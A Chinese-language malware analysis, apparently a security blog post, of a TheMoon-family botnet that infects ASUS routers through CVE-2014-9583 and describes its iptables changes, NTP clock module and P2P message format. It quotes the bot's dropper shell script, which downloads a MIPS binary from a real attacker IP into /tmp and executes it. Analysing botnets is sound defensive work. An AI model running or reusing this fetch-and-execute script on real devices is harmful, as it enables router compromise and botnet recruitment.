僵尸網(wǎng)絡(luò)是指采用一種或多種傳播手段,是指實(shí)現(xiàn)惡意控制功能的程序代碼,在控制者和被感染主機(jī)之間所形成的一個(gè)可一對(duì)多控制的網(wǎng)絡(luò)。
下圖是利用wireshark抓包捕獲的僵尸程序攻擊流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代碼。
CVE-2014-9583 :ASUS WRT是華碩(ASUS)公司的一個(gè)路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,該漏洞源于程序沒有正確檢查請(qǐng)求的MAC地址。遠(yuǎn)程攻擊者可通過向UDP 9999端口發(fā)送NET_CMD_ID_MANU_CMD數(shù)據(jù)包利用該漏洞繞過身份驗(yàn)證,執(zhí)行任意命令。詳情參見GitHub
以下是bot從網(wǎng)站http://78.128.92.137:80/ 自動(dòng)下載的nmlt1.sh文件內(nèi)容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1
chmod +x .nttpd
./.nttpd
路由器將會(huì)從攻擊者控制的網(wǎng)站上自動(dòng)下載并執(zhí)行.nttpd文件,.nttpd運(yùn)行后將成為駐留進(jìn)程。以下為.nttpd文件哈希信息
該bot程序?qū)儆赥heMoon惡意軟件系列,程序結(jié)構(gòu)如下:
該bot程序主要不同在于os_init和 run_modules函數(shù),os_init中插入了8個(gè)iptables規(guī)則:
為了獲得感染設(shè)備的絕對(duì)控制權(quán),防止反復(fù)感染,其中第一條規(guī)則通過關(guān)閉端口9999,阻止其它攻擊者利用華碩CVE-2014-9583漏洞;第二條規(guī)則是關(guān)閉多個(gè)端口,阻止其它攻擊者利用D-Link的一個(gè)遠(yuǎn)程命令執(zhí)行漏洞。其余為bot程序建立的網(wǎng)絡(luò)通信規(guī)則。
在run_modules中,bot加載了3個(gè)模塊:CLK 、NET、DWL,我們依次來做分析:
CLK模塊
該模塊加載了兩個(gè)線程,一個(gè)用來計(jì)時(shí),一個(gè)用來同步,它通過查詢公開NTP服務(wù)器保持UTC時(shí)間。抓包發(fā)現(xiàn)bot與NTP服務(wù)器之間的請(qǐng)求回應(yīng)流量
Net模塊
該模塊開啟了UDP 5143端口,并創(chuàng)建了一個(gè)P2P通信線程。值得注意的是,與通常的端口通信不同,該bot程序支持3種不特定的消息類型。
Register message
RegisterTo message
FetchCommand message
每種類型都包含相同的頭結(jié)構(gòu):
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
當(dāng)bot接收到消息時(shí),TTL值以1遞減,并把消息轉(zhuǎn)發(fā)給其它對(duì)等結(jié)點(diǎn)(peer),下圖為向其它peer節(jié)點(diǎn)轉(zhuǎn)發(fā)消息的底層代碼
新聞熱點(diǎn)
疑難解答
圖片精選